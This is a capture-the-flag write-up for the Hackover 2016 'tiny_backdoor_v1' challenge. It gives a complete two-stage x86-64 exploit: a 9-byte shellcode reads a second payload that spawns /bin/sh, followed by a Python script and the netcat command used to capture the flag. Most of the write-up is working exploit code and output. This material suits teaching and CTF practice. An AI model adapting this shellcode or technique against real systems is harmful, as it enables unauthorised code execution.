Outils pour utilisateurs

Outils du site


ctf:public:hackover2016:tiny_backdoor_v1

tiny_backdoor_v1 - Writeup by Maxima

Challenge

Cyber offense specialists working for the German government have implemented this new version of the Bundestrojaner. Unfortunately the federal police lost access to this cyber backdoor and cybercrimals took over. This is the greatest threat to national security ever since. Regain control over it as soon as possible!

nc challenges.hackover.h4q.it 4747

tiny_backdoor_v1.xz-216129e998640469a8ce1d22ad91021c31ad9414877b8802792d24b3d1d687cc

Solution

The first step is to understand what the progam does. I used IDA Pro.

It is really simple: it reads 9 bytes from the standard input, and stores them at the address 0x600136. Then, it xor's bytes from address 0x60013f to 0x600186 with these 9 bytes. Finally, it calls 0x60013f.

Because the program uses the given 9 bytes to xor 0x60013f to 0x600186, we easily control the first few instructions (ie. the first 9 bytes) executed when the program calls 0x60013f.

We can basically inject a shellcode of 9 bytes, which is enough. The good thing is, the segment of memory at 0x600000 has read-write-exec access, so I decided to write a 9 bytes shellcode that reads another - bigger - shellcode, stores it at 0x600136 and executes it.

In order to do that, I needed to do a read syscall. I just have to set a few registers:

  • rax = 0 (syscall read)
  • rdi = 0 (file descriptor, stdin)
  • rsi = 0x600136 (buffer address)
  • rdx = 0xff (length, arbitrary)

and then execute the syscall instruction. Here is my shellcode:

5d     pop    rbp
58     pop    rax
5f     pop    rdi
b2 ff  mov    dl,0xff
0f 05  syscall
ff e6  jmp    rsi

I am using the fact that when the shellcode is called, the stack contains the returned address (that I pop in rbp), and then lots of zeros. Thus, pop rax; pop rdi just set rax = rdi = 0. Also, rsi already contains 0x600136 so no need to change it.

Finally, I wrote my second shellcode. It just calls execve("/bin/sh", 0, 0). Note that the string /bin/sh is located in the second payload and ends up being at the address 0x600180. Here is my second shellcode:

b8 3b 00 00 00          mov    eax,0x3b                                         
bf 80 01 60 00          mov    edi,0x600180                                     
48 31 f6                xor    rsi,rsi                                          
48 31 d2                xor    rdx,rdx                                          
0f 05                   syscall

Here is my final code:

#!/usr/bin/env python3
import sys
import time
 
data = [
    0xb3,	0x91,	0x7f,	0xdd,	0x62,	0x81,	0x11,	0x6a,
    0x90,	0x8c,	0xdb,	0xae,	0x70,	0xa7,	0x3f,	0xff,
    0x3a,	0xc3,	0xe6,	0x32,	0xff,	0x5e,	0x46,	0x63,
    0x9a,	0x14,	0xb7,	0x9e,	0xad,	0xf6,	0x09,	0xdc,
    0x33,	0x2f,	0x35,	0xc6,	0x6f,	0x1a,	0x7f,	0xff,
    0x1b,	0xc2,	0xb5,	0xb7,	0xb7,	0xc2,	0xd1,	0x75,
]
 
##############
# First step #
##############
 
# shellcode: read(0, 0x600136, 0xff); jmp 0x600136 #
'''
5d     pop    rbp
58     pop    rax
5f     pop    rdi
b2 ff  mov    dl,0xff
0f 05  syscall
ff e6  jmp    rsi
'''
shellcode = [0x5d, 0x58, 0x5f, 0xb2, 0xff, 0x0f, 0x05, 0xff, 0xe6]
 
key = []
for i in range(9):
    key.append(shellcode[i] ^ data[i])
 
key = bytes(key)
sys.stdout.buffer.write(key)
sys.stdout.flush()
 
time.sleep(1)
 
###############
# Second step #
###############
 
# shellcode that execve("/bin/sh", 0, 0)
# NOTE: I don't understand why, but the few first instructions are completely ignored.
#       That is why I added a few NOP.
'''
b8 3b 00 00 00       	mov    eax,0x3b
bf 80 01 60 00       	mov    edi,0x600180
48 31 f6             	xor    rsi,rsi
48 31 d2             	xor    rdx,rdx
0f 05                	syscall
'''
shellcode = [0x90] * 20 + [
             0xb8, 0x3b, 0x00, 0x00, 0x00,
             0xbf, 0x80, 0x01, 0x60, 0x00,
             0x48, 0x31, 0xf6,
             0x48, 0x31, 0xd2,
             0x0f, 0x05]
shellcode = bytes(shellcode)
shellcode += b'A' * (74 - len(shellcode))
 
# will be at the address 0x600180
shellcode += b'/bin/sh\x00'
 
sys.stdout.buffer.write(shellcode)
sys.stdout.flush()

Then:

$ (./payload.py; cat -) | nc challenges.hackover.h4q.it 4747
cat flag.txt
hackover16{do0_d0O_dOo_l00k1n_0uT_7h15_b4ckd00r,_dO0_d0O}

Done!

Author

Maxime Arthaud 2016/10/16 18:28

ctf/public/hackover2016/tiny_backdoor_v1.txt · Dernière modification: 2016/10/17 06:29 par arthaum